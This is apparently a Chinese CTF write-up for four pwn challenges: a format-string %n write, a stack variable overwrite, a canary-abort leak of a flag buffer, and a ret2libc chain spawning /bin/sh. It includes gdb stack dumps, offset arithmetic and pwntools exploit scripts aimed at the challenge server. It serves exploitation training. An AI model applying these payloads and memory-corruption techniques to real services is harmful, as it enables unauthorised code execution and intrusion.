pwn1
--
修改小数字
%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
我们的payload可以设计成 address+(100-4)长度+%x$n //x是format位置和v4位置的距离
利用gdb加载pwn1,我们先输入%3$p
gdb-peda$ ni
0x1 //输出0x1
[----------------------------------registers-----------------------------------]
EAX: 0x3
EBX: 0x0
ECX: 0x3
EDX: 0xf7faa890 --> 0x0
ESI: 0xf7fa9000 --> 0x1d5d8c
EDI: 0x0
EBP: 0xffffd288 --> 0x0
ESP: 0xffffd200 --> 0xffffd21c ("%3$p")
EIP: 0x804857d (<main+114>: add esp,0x10)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048574 <main+105>: lea eax,[ebp-0x6c]
0x8048577 <main+108>: push eax
0x8048578 <main+109>: call 0x80483c0 <printf@plt>
=> 0x804857d <main+114>: add esp,0x10
0x8048580 <main+117>: mov eax,DWORD PTR [ebp-0x70]
0x8048583 <main+120>: cmp eax,0x64
0x8048586 <main+123>: jne 0x8048598 <main+141>
0x8048588 <main+125>: sub esp,0xc
[------------------------------------stack-------------------------------------]
0000| 0xffffd200 --> 0xffffd21c ("%3$p")
0004| 0xffffd204 --> 0xffffd21c ("%3$p") //format的地址 %p位置
0008| 0xffffd208 --> 0xf7fce410 --> 0x80482ee ("GLIBC_2.0") //%2$p位置
0012| 0xffffd20c --> 0x1 //%3$p位置
0016| 0xffffd210 --> 0x0
0020| 0xffffd214 --> 0x1
0024| 0xffffd218 --> 0x7b ('{') //v4在栈中位置
0028| 0xffffd21c ("%3$p") //format在栈中位置
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0804857d in main ()
我们的payload设计成 p32(0xffffd218)+%96d+%7$n ,
这个payload的意思,首先%7$n先找到%7$p的位置,而这个位置存着0xffffd218地址,$n修改0xffffd218位置的数据为p32(0xffffd218)+%96d的长度既修改成100
exp如下
from pwn import *
#sh = process('./pwn1')
sh = remote("sysucsa.me",5050)
c_addr = int(sh.recvuntil('\n', drop=True), 16)
print hex(c_addr)
payload = p32(c_addr) + '%096d' + '%7$n'
print payload
#gdb.attach(sh)
sh.sendline(payload)
print sh.recv()
sh.interactive()
pwn2
最简单的栈数据覆盖
s在栈中位置为[ebp-20h]
v5在栈中的位置为[ebp-Ch]
s和v5的相对位置为0x14
payload为 'a'*0x14 + '\xcd\xab\x34\x12' //305441741转成16进制为 1234abcd,
exp如下
from pwn import *
#sh = process('./pwn2')
sh = remote("sysucsa.me",5051)
payload = 'A'*20+'\xcd\xab\x34\x12\n'
print payload
sh.sendline(payload)
sh.interactive()
pwn3
这里涉及到canary保护机制,我们可以可以利用canary的报错机制。把我们想要leak的地址把argv[1]覆盖。
flag存在buffer里面
.bss:0804A060 public buffer
.bss:0804A060 buffer db ? ; ; DATA XREF: main+80↑o
然后算一下argv[0]与buf的相对距离
gdb-peda$ stack
0000| 0xffffd290 --> 0x1
0004| 0xffffd294 --> 0xffffd324 --> 0xffffd4b4 ("/root/Documents/pwn3/pwn3")
0008| 0xffffd298 --> 0xffffd32c --> 0xffffd4ce ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)
[----------------------------------registers-----------------------------------]
EAX: 0xf7faadd8 --> 0xffffd32c --> 0xffffd4ce ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)
EBX: 0x0
ECX: 0xffffd290 --> 0x1
EDX: 0xffffd2b4 --> 0x0
ESI: 0xf7fa9000 --> 0x1d5d8c
EDI: 0x0
EBP: 0xffffd278 --> 0x0
ESP: 0xffffd274 --> 0xffffd290 --> 0x1
EIP: 0x80485a9 (<main+14>: sub esp,0x24)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0004| 0xffffd294 --> 0xffffd324 --> 0xffffd4b4 ("/root/Documents/pwn3/pwn3")
可以得知argv[0]的位置为0xffffd324
ebp=0xffffd278
buf =ebp-20h = 0xffffd258
argv[0]-buf=0xcc
payload = '\00'*0xcc + p32(0x0804A060)
exp如下
from pwn import *
context.log_level = 'debug'
cn = remote('sysucsa.me', 5052)
#cn = process('pwn_smashes')
cn.recv()
cn.recv()
cn.sendline('\00'*204+p32(0x804A060))#x 52~59
cn.recv()
cn.interactive()
#gdb.attach(cn)
#log.success('flag is:'+flag)
pwn4
利用ret2libc2
利用gadgets没有找到'/bin/sh'
所以需要我们调用gets函数并构造相关参数,并再调用system函数,并把'/bin/sh'传入system中
payload构成 填充字符串+gets地址+pop ebx地址+buffer地址 +system地址
0x8048430 <gets@plt>: jmp DWORD PTR ds:0x804a00c
0x8048436 <gets@plt+6>: push 0x0
0x804843b <gets@plt+11>: jmp 0x8048420
0x8048440 <time@plt>: jmp DWORD PTR ds:0x804a010
0x8048446 <time@plt+6>: push 0x8
0x804844b <time@plt+11>: jmp 0x8048420
0x8048450 <puts@plt>: jmp DWORD PTR ds:0x804a014
0x8048456 <puts@plt+6>: push 0x10
0x804845b <puts@plt+11>: jmp 0x8048420
0x8048460 <system@plt>: jmp DWORD PTR ds:0x804a018
0x8048466 <system@plt+6>: push 0x18
0x804846b <system@plt+11>: jmp 0x8048420
gets adress = 0x8048430
system adress =0x8048460
pop ebx addres 0x08048415
buffer 找到一个bss段位置找一个存储位置0x804a080
算一下s与返回地址的相对偏移
0x0804863a <+25>: lea eax,[ebp-0x58]
0x0804863d <+28>: push eax
0x0804863e <+29>: call 0x8048430 <gets@plt>
相对偏移 = 0x58+4= 92
payload =flat(
['a' * 92, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])